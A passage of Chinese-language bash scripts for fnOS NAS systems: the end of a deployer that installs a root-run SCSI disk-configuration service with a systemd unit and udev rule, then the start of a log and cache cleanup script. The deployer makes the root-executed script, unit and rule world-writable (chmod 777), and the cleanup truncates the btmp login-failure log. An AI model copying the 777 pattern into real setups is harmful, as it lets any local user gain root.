echo -n "【等待阶段】等待/vol1/1000挂载，30秒后开始执行..."
for ((i=30; i>0; i--)); do
echo -ne "\r【等待阶段】等待/vol1/1000挂载，\$i秒后开始执行..."
sleep 1
done
echo -e "\r【等待阶段】等待/vol1/1000挂载，0秒后开始执行..."
else
sleep 30
fi
# 挂载检测
if [ "\$AUTO_TRIGGER" = "false" ]; then
[ -d "/vol1/1000" ] && echo "/vol1/1000 已挂载" || echo "/vol1/1000 未挂载"
else
[ -d "/vol1/1000" ] && echo "【自动触发】/vol1/1000 已挂载" >> "\$LOG_FILE" || echo "【自动触发失败】/vol1/1000 未挂载，无法创建_HDDlog日志目录，自动触发失败，请检查储存空间1是否挂载为此路径" >> "\$LOG_FILE"
fi
# 创建日志目录（777权限）
mkdir -p "\$LOG_DIR" 2>/dev/null
chmod 777 "\$LOG_DIR"
touch "\$LOG_FILE" 2>/dev/null
chmod 777 "\$LOG_FILE"
# 权限检查
if [[ \$EUID -ne 0 ]]; then
echo "【权限错误】需root权限运行" | tee -a "\$LOG_FILE"
echo "【手动执行提示】若需手动触发配置，可执行：sudo \$SERVICE_PATH" | tee -a "\$LOG_FILE"
exit 1
fi
# 启动信息
START_TIME=\$(date +'%Y-%m-%d %H:%M:%S')
if [ "\$AUTO_TRIGGER" = "true" ]; then
echo "
================【自动触发-业务脚本启动】\$START_TIME================
" | tee -a "\$LOG_FILE"
else
echo "
================【手动触发-业务脚本启动】\$START_TIME================
" | tee -a "\$LOG_FILE"
fi
sleep 1
# 磁盘配置核心逻辑
DISK_TOTAL=\$(ls -A /sys/class/scsi_disk/ 2>/dev/null | wc -l)
echo "【磁盘检测】共读取到\$DISK_TOTAL个硬盘" | tee -a "\$LOG_FILE"
echo | tee -a "\$LOG_FILE"
# 新增：细分统计变量
declare -a SUCCESS_DISKS=() # 所有配置项均成功的磁盘（含无需处理但无失败项）
declare -a FAILED_DISKS=() # 至少一项配置失败的磁盘
declare -a NO_OPERATION_DISKS=() # 所有已选功能均为“无需修改”（原始值1）且无失败项的磁盘
DISK_PROCESSED=0 # 总处理磁盘数（有效磁盘目录数）
SUCCESS_PROCESSED=0 # 本次处理成功数（至少一项配置修改成功，且无失败项）
FAILED_PROCESSED=0 # 本次处理失败数（至少一项配置失败）
NO_OPERATION_COUNT=0 # 本次无需处理数（所有已选功能均无需修改，且无失败项）
for disk_dir in /sys/class/scsi_disk/*; do
[[ -d "\$disk_dir" ]] || continue
DISK_PROCESSED=\$((DISK_PROCESSED + 1))
disk_scsi_id=\$(basename "\$disk_dir")
disk_dev_subdir=\$(find "\$disk_dir/device/block/" -maxdepth 1 -type d ! -name "block" | head -n1)
disk_dev=\$(basename "\$disk_dev_subdir")
disk_dev_path="/dev/\$disk_dev"
# 获取磁盘信息
if command -v lsblk &>/dev/null; then
disk_model=\$(lsblk -no MODEL "\$disk_dev_path" 2>/dev/null || echo "未知型号")
disk_serial=\$(lsblk -no SERIAL "\$disk_dev_path" 2>/dev/null || echo "未知序列号")
else
disk_model="未知型号"
disk_serial="未知序列号"
fi
# 配置输出
echo "----------------【SCSI_ID:\$disk_scsi_id 磁盘配置】----------------" | tee -a "\$LOG_FILE"
echo "【硬盘信息】盘符:\$disk_dev_path | 型号:\$disk_model | 序列号:\$disk_serial" | tee -a "\$LOG_FILE"
echo "【SCSI_ID:\$disk_scsi_id 硬盘】处理结果：" | tee -a "\$LOG_FILE"
# 新增：当前磁盘的状态标记
all_success=true # 所有配置项是否无失败
has_modification=false # 是否有配置项被修改（原始值0→1成功）
all_no_operation=true # 是否所有配置项均为“无需修改”（原始值1）
# 已选功能配置
declare -a target_files=(
EOF
# 写入已选择的功能配置
for entry in "${SELECTED_FUNC_LIST[@]}"; do
echo " \"$entry\"" >> "$SERVICE_SCRIPT"
done
# 继续写入业务脚本剩余部分
cat >> "$SERVICE_SCRIPT" <<EOF
)
for entry in "\${target_files[@]}"; do
file_name=\${entry%:*}
func_desc=\${entry#*:}
file_path="\$disk_dir/\$file_name"
if [[ -f "\$file_path" ]]; then
orig_value=\$(cat "\$file_path")
printf "%-30s（%-20s） 原始值：%s → " "\$file_name" "\$func_desc" "\$orig_value" | tee -a "\$LOG_FILE"
# 根据原始值判断是否需要修改
if [[ "\$orig_value" -eq 0 ]]; then
# 原始值为0，执行修改
echo 1 > "\$file_path" 2>/dev/null
new_value=\$(cat "\$file_path")
if [[ "\$new_value" -eq 1 ]]; then
result="新值：\$new_value【成功】"
has_modification=true # 标记有修改操作成功
all_no_operation=false # 存在修改项，不是“无需处理”
else
result="新值：\$new_value【失败】"
all_success=false # 标记有失败项
all_no_operation=false # 存在失败项，不是“无需处理”
fi
else
# 原始值为1，不修改
result="保持值：1【无需修改】"
# 保持all_no_operation为true（需所有项均为无需修改才生效）
fi
echo "\$result" | tee -a "\$LOG_FILE"
else
printf "%-30s（%-20s） 文件不存在【失败】\n" "\$file_name" "\$func_desc" | tee -a "\$LOG_FILE"
all_success=false # 标记有失败项
all_no_operation=false # 存在失败项，不是“无需处理”
fi
done
echo | tee -a "\$LOG_FILE"
# 记录结果：按状态分类统计
disk_info="盘符:\$disk_dev_path | 型号:\$disk_model | 序列号:\$disk_serial | SCSI_ID:\$disk_scsi_id"
if [ "\$all_success" = true ]; then
# 无失败项：进一步判断是“无需处理”还是“成功处理”
if [ "\$all_no_operation" = true ]; then
# 所有配置项均为“无需修改”
NO_OPERATION_DISKS+=("\$disk_info")
NO_OPERATION_COUNT=\$((NO_OPERATION_COUNT + 1))
else
# 至少一项修改成功
SUCCESS_DISKS+=("\$disk_info")
SUCCESS_PROCESSED=\$((SUCCESS_PROCESSED + 1))
fi
else
# 至少一项失败
FAILED_DISKS+=("\$disk_info")
FAILED_PROCESSED=\$((FAILED_PROCESSED + 1))
fi
done
# 配置统计：修改为新的统计格式
echo "----------------【配置统计】----------------" | tee -a "\$LOG_FILE"
echo "【处理总量】共读取到\$DISK_TOTAL个硬盘 | 本次处理成功\$SUCCESS_PROCESSED个 | 本次处理失败\$FAILED_PROCESSED个 | 本次无需处理\$NO_OPERATION_COUNT个" | tee -a "\$LOG_FILE"
echo "【成功磁盘】\${#SUCCESS_DISKS[@]}个（本次有修改且无失败）：" | tee -a "\$LOG_FILE"
if [ \${#SUCCESS_DISKS[@]} -eq 0 ]; then
echo " - 无" | tee -a "\$LOG_FILE"
else
for d in "\${SUCCESS_DISKS[@]}"; do
echo " - \$d" | tee -a "\$LOG_FILE"
done
fi
echo "【失败磁盘】\${#FAILED_DISKS[@]}个（至少一项配置失败）：" | tee -a "\$LOG_FILE"
if [ \${#FAILED_DISKS[@]} -eq 0 ]; then
echo " - 无" | tee -a "\$LOG_FILE"
else
for d in "\${FAILED_DISKS[@]}"; do
echo " - \$d" | tee -a "\$LOG_FILE"
done
fi
echo "【无需处理磁盘】\${#NO_OPERATION_DISKS[@]}个（所有已选功能均无需修改且无失败）：" | tee -a "\$LOG_FILE"
if [ \${#NO_OPERATION_DISKS[@]} -eq 0 ]; then
echo " - 无" | tee -a "\$LOG_FILE"
else
for d in "\${NO_OPERATION_DISKS[@]}"; do
echo " - \$d" | tee -a "\$LOG_FILE"
done
fi
# 功能提示
SELECTED_FUNC_STR=""
EOF
# 写入已选功能提示文本
for func in $SELECTED_FUNCS; do
SELECTED_FUNC_STR+="${FUNC_MAP[$func]#*:}、"
done
SELECTED_FUNC_STR=${SELECTED_FUNC_STR%、}
# 日志写入提示
echo "echo \"【提示】1.已为你开启${SELECTED_FUNC_STR}功能配置，\" | tee -a \"\$LOG_FILE\"" >> "$SERVICE_SCRIPT"
echo "echo \" 2.如有问题请尝试重新运行原始脚本进行卸载清理，卸载时所有磁盘配置关键值会强制改为0。\" | tee -a \"\$LOG_FILE\"" >> "$SERVICE_SCRIPT"
echo "echo \" 3.或者卸载后请尝试关机断电后再次开机查看是否恢复。\" | tee -a \"\$LOG_FILE\"" >> "$SERVICE_SCRIPT"
echo "echo \" 4.手动触发磁盘配置：sudo $SERVICE_SCRIPT\" | tee -a \"\$LOG_FILE\"" >> "$SERVICE_SCRIPT" # 同步更新手动执行路径
echo "echo \" 5.卸载脚本：重新执行原始脚本并选择卸载\" | tee -a \"\$LOG_FILE\"" >> "$SERVICE_SCRIPT"
echo "echo \"【日志提示】本日志自动保留最新500行，超出自动清理老旧日志。\" | tee -a \"\$LOG_FILE\"" >> "$SERVICE_SCRIPT"
echo "echo \"如需手动清理请删除日志文件：\$LOG_FILE（储存空间1/_HDDlog目录）\" | tee -a \"\$LOG_FILE\"" >> "$SERVICE_SCRIPT"
# 写入服务脚本结束部分
cat >> "$SERVICE_SCRIPT" <<EOF
# 结束信息
END_TIME=\$(date +'%Y-%m-%d %H:%M:%S')
if [ "\$AUTO_TRIGGER" = "true" ]; then
echo "………………………………【自动触发-业务脚本结束】\$END_TIME………………………………
" | tee -a "\$LOG_FILE"
else
echo "………………………………【手动触发-业务脚本结束】\$END_TIME………………………………
" | tee -a "\$LOG_FILE"
fi
# 日志裁剪：仅保留最后500行，避免日志文件过大
if [ -f "\$LOG_FILE" ]; then
# 用tail截取最后500行到临时文件
tail -n 500 "\$LOG_FILE" > "\$LOG_FILE.tmp"
# 用临时文件覆盖原日志文件
mv -f "\$LOG_FILE.tmp" "\$LOG_FILE"
# 恢复日志文件权限
chmod 777 "\$LOG_FILE"
fi
EOF
# 设置服务脚本权限为777（保持原权限设置）
chmod 777 "$SERVICE_SCRIPT"
echo -e "${GREEN}✅ 业务脚本已生成${NC}"
sleep 1
echo -e "\n${BOLD}【部署步骤3/4：配置systemd服务】${NC}"
cat > "$SYSTEMD_SERVICE" <<EOF
[Unit]
Description=SCSI Disk Manager Service
After=local-fs.target
[Service]
Type=oneshot
User=root
Group=root
Environment="AUTO_TRIGGER=true"
ExecStart=$SERVICE_SCRIPT
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
EOF
# 赋权：777权限
chmod 777 "$SYSTEMD_SERVICE"
echo -e "${GREEN}✅ systemd服务文件已生成${NC}"
# 记录触发前的日志位置（用于后续验证）
echo "尝试记录触发前日志位置，用于开机自启验证"
log_position=$(wc -l < "$LOG_FILE" 2>/dev/null || echo 0)
# 让 systemd 服务管理器重新读取所有服务配置文件
systemctl daemon-reload
# 尝试启用开机自启、启动systemd服务、触发业务脚本执行
echo -e "⚠ 启用开机自启、启动systemd服务、触发业务脚本执行..."
echo -e "⚠ 请等待验证systemd服务触发业务脚本，大约35秒..."
systemctl enable --now scsi-disk-manager.service
echo -e "${YELLOW}⚠ 请等待日志验证...${NC}"
# 等待3秒，确保服务有足够时间生成日志
sleep 3
# 对比触发前的日志位置检查日志是否有新的触发记录
new_trigger=$(tail -n +"$log_position" "$LOG_FILE" 2>/dev/null | grep -E "【自动触发-业务脚本启动】")
if [ -n "$new_trigger" ]; then
echo -e " ${GREEN}✓ 开机自启验证成功，已生成自动触发日志${NC}"
else
echo -e " ${YELLOW}⚠ systemd服务开机自启已部署，但未检测到新日志${NC}"
fi
# 尝试捕获触发日志，筛选包含服务启动时间的记录（验证systemd服务是否成功触发）
echo -e "\n${BOLD}【尝试读取日志验证systemd服务触发状态】${NC}"
# 提取日志中最新的服务启动时间（匹配"【自动触发-业务脚本启动】"或"【手动触发-业务脚本启动】"行的时间戳）
START_RECORD=$(grep -E "【(自动|手动)触发-业务脚本启动】" "$LOG_FILE" | tail -n 1)
if [ -n "$START_RECORD" ]; then
# 提取时间戳（日志行中"【...】"内的时间部分）
START_TIME=$(echo "$START_RECORD" | sed -n 's/.*【[^】]*】\([0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\} [0-9]\{2\}:[0-9]\{2\}:[0-9]\{2\}\).*/\1/p')
if [ -n "$START_TIME" ]; then
echo -e "${GREEN}✅ 成功捕获脚本启动时间记录：$START_TIME${NC}"
echo -e "${GREEN}systemd服务开机自启已配置并触发，请在储存空间1/_HDDlog目录查看完整日志${NC}"
else
echo -e "${YELLOW}⚠ 捕获到启动记录，但未提取到时间戳，建议手动查看日志确认${NC}"
fi
else
echo -e "${RED}❌ 未捕获到服务启动日志，可能systemd服务触发失败${NC}"
echo -e "${YELLOW}排查建议：1. 检查服务状态：systemctl status scsi-disk-manager.service 2. 手动查看日志：cat $LOG_FILE${NC}"
fi
sleep 1
# 步骤3：配置udev规则
echo -e "\n${BOLD}【部署步骤4/4：部署新插入磁盘自动触发udev规则】${NC}"
cat > "$UDEV_RULE" <<EOF
ACTION=="add", SUBSYSTEM=="scsi_disk", RUN+="/bin/systemctl start scsi-disk-manager.service"
EOF
chmod 777 "$UDEV_RULE"
udevadm control --reload-rules
echo -e "${GREEN}✅ udev规则文件已生成${NC}"
sleep 1
# 记录触发前的日志位置（用于后续验证）
echo "尝试记录触发前日志位置，用于udev触发验证"
log_position=$(wc -l < "$LOG_FILE" 2>/dev/null || echo 0)
# 验证udev规则是否生效（仅触发在线设备，避免唤醒休眠硬盘）代码块开始
echo -e "\n${BOLD}【验证udev规则有效性】${NC}"
echo "正在筛选符合条件的scsi_disk设备（避免唤醒休眠硬盘）..."
echo "---------------------------------------------------"
# 关键：筛选出当前在线的scsi_disk设备，优先识别U盘（忽略旋转属性误判），排除mmc设备
declare -a CANDIDATE_DEVICES=()
declare -a CANDIDATE_DESC=() # 存储设备筛选描述（用于终端显示和最终引用）
while read -r dev; do
# 检查设备是否在线（通过device/state文件判断，"running"为在线）
state_file="${dev}/device/state"
if [ ! -f "$state_file" ] || [ "$(cat "$state_file")" != "running" ]; then
continue
fi
# 关联块设备（/dev/sdX）
disk_scsi_id=$(basename "$dev")
disk_dev_subdir=$(find "$dev/device/block/" -maxdepth 1 -type d ! -name "block" | head -n1)
disk_dev=$(basename "$disk_dev_subdir")
[ -z "$disk_dev" ] && continue # 无对应块设备，跳过
disk_dev_path="/dev/$disk_dev"
# 获取设备核心信息（优化默认值）
disk_model=$(lsblk -d -n -o MODEL "$disk_dev_path" 2>/dev/null || echo "未知型号")
disk_rm=$(lsblk -d -n -o RM "$disk_dev_path" 2>/dev/null || echo 0) # 1=可移除
disk_rotational=$(cat "/sys/block/${disk_dev}/rotational" 2>/dev/null || echo 1)
# 排除mmc设备（设备名前缀+型号双重判断）
if echo "$disk_dev" | grep -qi "^mmcblk" || echo "$disk_model" | grep -qi "mmc"; then
echo "❌ 排除设备：/dev/${disk_dev}（MMC设备，型号：${disk_model}）"
continue
fi
# 新增：排除系统盘（综合判断）
is_system_disk=false
# 方法1：检查是否挂载为根文件系统
if mount | grep -q "^/dev/${disk_dev}[0-9]*.*on.*/ type"; then
is_system_disk=true
fi
# 方法2：检查udev系统盘属性
if udevadm info -q property -n "/dev/$disk_dev" 2>/dev/null | grep -q "UDISKS_SYSTEM=1"; then
is_system_disk=true
fi
if [ "$is_system_disk" = true ]; then
echo "❌ 排除设备：/dev/${disk_dev}（系统盘，型号：${disk_model}）"
continue
fi
# 容量解析（兼容小数+多单位，提取整数用于判断，保留原始容量用于显示）
disk_size_raw=$(lsblk -d -n -o SIZE "$disk_dev_path" 2>/dev/null || echo "0")
if echo "$disk_size_raw" | grep -qi "G"; then
disk_size=$(echo "$disk_size_raw" | sed 's/[Gg]//; s/\..*//; s/[^0-9]//g')
elif echo "$disk_size_raw" | grep -qi "M"; then
mb_size=$(echo "$disk_size_raw" | sed 's/[Mm]//; s/\..*//; s/[^0-9]//g')
disk_size=$(( mb_size / 1024 ))
else
disk_size=0
fi
disk_size=${disk_size:-0}
# 核心修复：优先判定U盘（忽略旋转属性误判），明确标注判定条件
is_usb_candidate=0
if [ "$disk_rm" -eq 1 ] && [ "$disk_size" -lt 64 ]; then
# 满足「可移除+容量<64GB」，强制视为U盘候选，跳过机械硬盘休眠判定
is_usb_candidate=1
device_type="U盘/读卡器"
# 优化提示：明确说明U盘判定条件（可移除+容量<64GB）
type_desc="${device_type}（容量：${disk_size_raw}，型号：${disk_model}，判定条件：可移除设备 + 容量<64GB）"
echo "✅ 符合条件（优先U盘）：/dev/${disk_dev} - ${type_desc}"
# 直接加入候选列表（标记为u盘类型）
CANDIDATE_DEVICES+=("$dev|$disk_size|$disk_size_raw|$disk_rm|u盘|$disk_dev|$disk_model|$disk_rotational")
CANDIDATE_DESC+=("$type_desc")
continue # 跳过后续类型判断，直接处理下一个设备
fi
# 非U盘设备：正常判断固态/机械，并处理机械硬盘休眠
if [ "$disk_rotational" = "0" ] || echo "$disk_model" | grep -qiE "ssd|solid state"; then
disk_type="ssd"
type_desc="固态硬盘（容量：${disk_size_raw}，型号：${disk_model}，可移除：$( [ "$disk_rm" -eq 1 ] && echo "是" || echo "否" )，判定依据：$( [ "$disk_rotational" = "0" ] && echo "无旋转部件" || echo "型号判定" )"
# SSD无需休眠判定，直接加入候选
echo "✅ 符合条件：/dev/${disk_dev} - ${type_desc}"
CANDIDATE_DEVICES+=("$dev|$disk_size|$disk_size_raw|$disk_rm|$disk_type|$disk_dev|$disk_model|$disk_rotational")
CANDIDATE_DESC+=("$type_desc")
else
# 机械硬盘： hdparm判定休眠状态，power_state_file备选（避免唤醒）
disk_type="hdd"
hdd_state_desc=""
is_active=0
if command -v hdparm &>/dev/null; then
hdparm_output=$(hdparm -C "$disk_dev_path" 2>/dev/null | grep "drive state is:")
if echo "$hdparm_output" | grep -qiE "active|idle"; then
is_active=1
hdd_state_desc="（未休眠）"
else
hdd_state_desc="（已休眠，跳过）"
fi
else
power_state_file="/sys/block/${disk_dev}/power/state"
if [ -f "$power_state_file" ]; then
power_state=$(cat "$power_state_file")
if [ "$power_state" = "0" ] || [ "$power_state" = "active" ] || [ "$power_state" = "idle" ]; then
is_active=1
hdd_state_desc="（未休眠）"
else
hdd_state_desc="（已休眠，跳过）"
fi
else
hdd_state_desc="（状态未知，默认已休眠，跳过）"
fi
fi
# 未休眠的机械硬盘才加入候选
if [ "$is_active" -eq 1 ]; then
type_desc="机械硬盘（容量：${disk_size_raw}，型号：${disk_model}，可移除：$( [ "$disk_rm" -eq 1 ] && echo "是" || echo "否" )，判定依据：有旋转部件）${hdd_state_desc}"
echo "✅ 符合条件：/dev/${disk_dev} - ${type_desc}"
CANDIDATE_DEVICES+=("$dev|$disk_size|$disk_size_raw|$disk_rm|$disk_type|$disk_dev|$disk_model|$disk_rotational")
CANDIDATE_DESC+=("$type_desc")
else
echo "❌ 排除设备：/dev/${disk_dev} - 机械硬盘（容量：${disk_size_raw}，型号：${disk_model}）${hdd_state_desc}"
fi
fi
done < <(find /sys/class/scsi_disk/ -maxdepth 1 -type l)
echo "---------------------------------------------------"
# 筛选最佳测试设备（优先U盘，再SSD，最后未休眠HDD）
TEST_DEVICE=""
TEST_DEVICE_INFO=""
candidate_count=${#CANDIDATE_DEVICES[@]}
if [ "$candidate_count" -gt 0 ]; then
echo -e "\n正在从 ${candidate_count} 个符合条件的设备中选择测试目标..."
# 1. 优先挑选U盘（已在筛选时标记为u盘类型，直接匹配）
for i in "${!CANDIDATE_DEVICES[@]}"; do
dev_info="${CANDIDATE_DEVICES[$i]}"
IFS='|' read -r dev size size_raw rm type dev_name model rotational <<< "$dev_info"
if [ "$type" = "u盘" ]; then
TEST_DEVICE="$dev"
TEST_DEVICE_INFO="${CANDIDATE_DESC[$i]}"
break
fi
done
# 2. 若无U盘，挑选固态硬盘
if [ -z "$TEST_DEVICE" ]; then
for i in "${!CANDIDATE_DEVICES[@]}"; do
dev_info="${CANDIDATE_DEVICES[$i]}"
IFS='|' read -r dev size size_raw rm type dev_name model rotational <<< "$dev_info"
if [ "$type" = "ssd" ]; then
TEST_DEVICE="$dev"
TEST_DEVICE_INFO="${CANDIDATE_DESC[$i]}"
break
fi
done
fi
# 3. 若无SSD，挑选未休眠的机械硬盘
if [ -z "$TEST_DEVICE" ]; then
for i in "${!CANDIDATE_DEVICES[@]}"; do
dev_info="${CANDIDATE_DEVICES[$i]}"
IFS='|' read -r dev size size_raw rm type dev_name model rotational <<< "$dev_info"
if [ "$type" = "hdd" ]; then
TEST_DEVICE="$dev"
TEST_DEVICE_INFO="${CANDIDATE_DESC[$i]}"
break
fi
done
fi
fi
# 执行模拟触发
if [ -n "$TEST_DEVICE" ]; then
echo -e "\n${GREEN}✅ 已选择测试设备：${TEST_DEVICE_INFO}${NC}"
dev_name=$(basename "$TEST_DEVICE") # 提取设备系统名称（如0:0:0:0）
# 记录触发前的日志位置（用于后续验证）
log_position=$(wc -l < "$LOG_FILE" 2>/dev/null || echo 0)
# 发送add事件
echo " 向设备 [scsi_disk/$dev_name] 发送add事件，请等待日志验证，大约35秒..."
if sudo udevadm trigger \
--subsystem-match=scsi_disk \
--sysname-match="$dev_name" \
--action=add; then
# 等待业务脚本运行
sleep 35
# 检查日志是否有新的触发记录
new_trigger=$(tail -n +"$log_position" "$LOG_FILE" 2>/dev/null | grep -E "【自动触发-业务脚本启动】")
if [ -n "$new_trigger" ]; then
echo -e " ${GREEN}✓ 设备触发成功，已生成自动触发日志${NC}"
echo -e " ${GREEN}✅ udev规则有效性验证成功，请在储存空间1/_HDDlog目录查看完整日志${NC}"
echo -e " ${GREEN}初次部署完成日志有两次执行记录，第一次是验证开机自启，第二次是验证udev规则模拟新插入磁盘触发${NC}"
else
echo -e " ${YELLOW}⚠ 设备触发成功，但未检测到新日志（可能udev规则无法触发systemd服务）${NC}"
fi
else
echo -e " ${RED}✗ 设备触发失败${NC}"
fi
else
echo -e "\n${YELLOW}⚠ 未检测到符合条件的scsi_disk设备（已排除mmc、系统盘和休眠硬盘），跳过模拟测试，请按照后面提示的步骤手动测试${NC}"
# 手动验证udev步骤提示
echo -e "${YELLOW}如需验证udev自动触发功能，请按以下步骤：${NC}"
echo "1. 新插入能被系统识别为SCSI的磁盘（自测U盘可识别）；"
echo "2. 等待40秒（服务执行延迟）；"
echo "3. 查看日志：（飞牛系统的储存空间1通常挂载为/vol1/1000，可以在文件管理，储存空间1/_HDDlog目录查看日志文件），终端查看日志指令cat $LOG_FILE"
echo "4. 若日志中出现【自动触发-业务脚本启动】的最新时间记录，说明udev触发功能正常，能自动配置新插入的磁盘。"
fi
echo -e "\n${BOLD}---------------------------------------------------${NC}"
# 验证udev规则是否生效（仅触发在线设备，避免唤醒休眠硬盘）代码块结束
sleep 1
# 部署完成提示（追加日志去色失败，算了）
echo -e "\n${GREEN}【✅ 部署已完成】已启用${SELECTED_FUNC_STR}功能 ${NC}"| tee -a "$LOG_FILE"
echo -e "【手动操作提示】" | tee -a "$LOG_FILE"
echo "1. 手动触发业务脚本：sudo $SERVICE_SCRIPT" | tee -a "$LOG_FILE"
echo "2. 查看完整配置日志：cat $LOG_FILE" | tee -a "$LOG_FILE"
echo "3. 卸载脚本：重新执行部署脚本并选择选项2" | tee -a "$LOG_FILE"
echo -e "【日志提示】本日志自动保留最新500行，老旧日志自动清理。如需手动清理可删除日志文件：$LOG_FILE" | tee -a "$LOG_FILE"
}
# 启动交互流程
interactive_step1
|
2301_82242223/1
|
fnos-scsi-disk-manager.sh
|
Shell
|
unknown
| 38,811
|
#!/bin/bash
#
# 飞牛OS系统盘垃圾清理脚本（基于Debian）
# 保留原有清理项目，增加用户确认功能
#
echo "================================================"
echo " 飞牛OS系统盘垃圾清理脚本"
echo "================================================"
# 显示清理项目列表
echo -e "\n本次将执行以下清理项目："
echo "================================================"
echo "1. 包管理器缓存清理"
echo " - apt clean, autoclean, autoremove"
echo ""
echo "2. 系统日志清理"
echo " - 删除 syslog.*, dpkg.log.*, btmp.* 归档文件"
echo " - 截断 syslog, btmp 当前日志"
echo " - 清理 trim_app_center 日志 (info.log, error.log)"
echo " - 清理 accountsrv/info.log"
echo " - 删除 samba/*.gz, samba/*.old 归档"
echo ""
echo "3. 系统journal日志清理"
echo " - 清理7天前的journal日志"
echo ""
echo "4. 临时文件清理"
echo " - 清理 /tmp (1天前), /var/tmp (7天前) 临时文件"
echo " - 清理 /var/cache/apt/archives/*.deb"
echo ""
echo "5. 扩展日志清理"
echo " - 清理7天前的 *.log.*, *.gz, *.old, *.1 文件"
echo ""
echo "6. 崩溃报告清理"
echo " - 清理 /var/crash/*"
echo ""
echo "7. 用户缓存清理"
echo " - 清理用户缩略图缓存 (~/.cache/thumbnails)"
echo "================================================"
# 用户确认循环
while true; do
read -p "是否继续执行清理？(y/n): " choice
case "$choice" in
y|Y|yes|YES)
echo "开始执行清理..."
break
;;
n|N|no|NO)
echo "已取消清理操作"
exit 0
;;
*)
echo "无效输入，请输入 y 或 n"
;;
esac
done
echo -e "\n开始清理操作..."
echo "开始时间: $(date)"
# 检查是否以root权限运行
if [ "$EUID" -ne 0 ]; then
echo "请使用sudo运行此脚本或切换到root用户"
echo "用法: sudo $0"
exit 1
fi
# 记录开始时间
START_TIME=$(date +%s)
# 显示清理前磁盘使用情况
echo -e "\n=== 清理前磁盘使用情况 ==="
BEFORE_USAGE=$(df / | awk 'NR==2 {print $5}' | sed 's/%//')
BEFORE_AVAILABLE=$(df -h / | awk 'NR==2 {print $4}')
BEFORE_USED=$(df -h / | awk 'NR==2 {print $3}')
echo "根分区使用率: ${BEFORE_USAGE}%"
echo "已用空间: ${BEFORE_USED}"
echo "可用空间: ${BEFORE_AVAILABLE}"
# 获取特定目录清理前大小
echo -e "\n=== 主要目录清理前大小 ==="
get_dir_size() {
local dir=$1
if [ -d "$dir" ]; then
du -sh "$dir" 2>/dev/null | awk '{print " " $2 ": " $1}'
fi
}
echo "日志目录大小:"
get_dir_size "/var/log"
echo "缓存目录大小:"
get_dir_size "/var/cache"
get_dir_size "/tmp"
# 函数：安全截断日志文件
safe_truncate_log() {
local log_file=$1
if [ -f "$log_file" ] && [ -s "$log_file" ]; then
# 对于大日志文件，先备份再清空（可选）
if [ "$(stat -c%s "$log_file" 2>/dev/null || echo 0)" -gt 10485760 ]; then
echo "备份大日志文件: $log_file"
cp "$log_file" "${log_file}.backup.$(date +%Y%m%d)" 2>/dev/null
fi
truncate -s 0 "$log_file"
echo "✓ 已截断: $log_file"
elif [ ! -f "$log_file" ]; then
echo "⚠ 文件不存在: $log_file"
fi
}
# 1. 清理apt缓存（原有项目）
echo -e "\n=== 1. 清理包管理器缓存 ==="
apt clean
echo "✓ apt clean 完成"
# 增加：自动清理和移除不需要的包
apt autoclean
apt autoremove -y
echo "✓ apt autoclean 和 autoremove 完成"
# 2. 清理系统日志（原有项目基础上增强）
echo -e "\n=== 2. 清理系统日志文件 ==="
cd /var/log
# 原有日志清理项目
echo "清理系统日志归档..."
rm -rf syslog.* 2>/dev/null
safe_truncate_log "syslog"
rm -rf dpkg.log.* 2>/dev/null
rm -f btmp.* 2>/dev/null
safe_truncate_log "btmp"
# 检查并清理应用日志
echo "清理应用日志..."
if [ -d "trim_app_center" ]; then
safe_truncate_log "trim_app_center/info.log"
safe_truncate_log "trim_app_center/error.log"
else
echo "⚠ trim_app_center 目录不存在"
fi
if [ -f "accountsrv/info.log" ]; then
safe_truncate_log "accountsrv/info.log"
else
echo "⚠ accountsrv/info.log 文件不存在"
fi
# 清理samba日志（原有项目）
echo "清理Samba日志..."
rm -rf samba/*.gz 2>/dev/null
rm -rf samba/*.old 2>/dev/null
echo "✓ samba日志归档文件已清理"
# 3. 新增：Debian系统journal日志清理
echo -e "\n=== 3. 清理系统journal日志 ==="
if command -v journalctl >/dev/null 2>&1; then
JOURNAL_SIZE_BEFORE=$(journalctl --disk-usage 2>/dev/null | awk '{print $7$8}' || echo "0")
echo "清理前Journal日志大小: $JOURNAL_SIZE_BEFORE"
journalctl --vacuum-time=7d 2>/dev/null
JOURNAL_SIZE_AFTER=$(journalctl --disk-usage 2>/dev/null | awk '{print $7$8}' || echo "0")
echo "清理后Journal日志大小: $JOURNAL_SIZE_AFTER"
echo "✓ 已清理7天前的journal日志"
else
echo "ℹ journalctl 不可用，跳过journal日志清理"
fi
# 4. 新增：Debian系统临时文件清理
echo -e "\n=== 4. 清理临时文件和缓存 ==="
# 清理临时目录（保留最近1天的文件）
TMP_CLEANED=$(find /tmp -type f -atime +1 -delete -print 2>/dev/null | wc -l)
VAR_TMP_CLEANED=$(find /var/tmp -type f -atime +7 -delete -print 2>/dev/null | wc -l)
echo "✓ 已清理临时文件: /tmp(${TMP_CLEANED}个), /var/tmp(${VAR_TMP_CLEANED}个)"
# 清理apt缓存文件
APT_CLEANED_COUNT=$(ls /var/cache/apt/archives/*.deb 2>/dev/null | wc -l)
rm -rf /var/cache/apt/archives/*.deb 2>/dev/null
echo "✓ 已清理apt缓存文件: ${APT_CLEANED_COUNT}个 .deb 包"
# 5. 新增：清理旧的日志文件（扩展原有日志清理）
echo -e "\n=== 5. 扩展日志清理 ==="
# 清理所有旧的日志归档（保留最近7天）
OLD_LOGS_CLEANED=$(find /var/log -name "*.log.*" -type f -mtime +7 -delete -print 2>/dev/null | wc -l)
GZ_LOGS_CLEANED=$(find /var/log -name "*.gz" -type f -mtime +7 -delete -print 2>/dev/null | wc -l)
OLD_FILES_CLEANED=$(find /var/log -name "*.old" -type f -mtime +7 -delete -print 2>/dev/null | wc -l)
echo "✓ 已清理7天前的日志归档文件:"
echo " - 日志归档: ${OLD_LOGS_CLEANED}个"
echo " - 压缩日志: ${GZ_LOGS_CLEANED}个"
echo " - 旧文件: ${OLD_FILES_CLEANED}个"
# 6. 新增：清理崩溃报告
echo -e "\n=== 6. 清理系统崩溃报告 ==="
if [ -d "/var/crash" ]; then
CRASH_FILES=$(ls /var/crash/ 2>/dev/null | wc -l)
rm -f /var/crash/* 2>/dev/null
echo "✓ 已清理崩溃报告: ${CRASH_FILES}个"
else
echo "ℹ 无崩溃报告目录"
fi
# 7. 新增：清理缩略图缓存（如果有桌面环境）
echo -e "\n=== 7. 清理用户缓存 ==="
THUMBNAIL_CLEANED=0
for user_dir in /home/*; do
if [ -d "$user_dir" ]; then
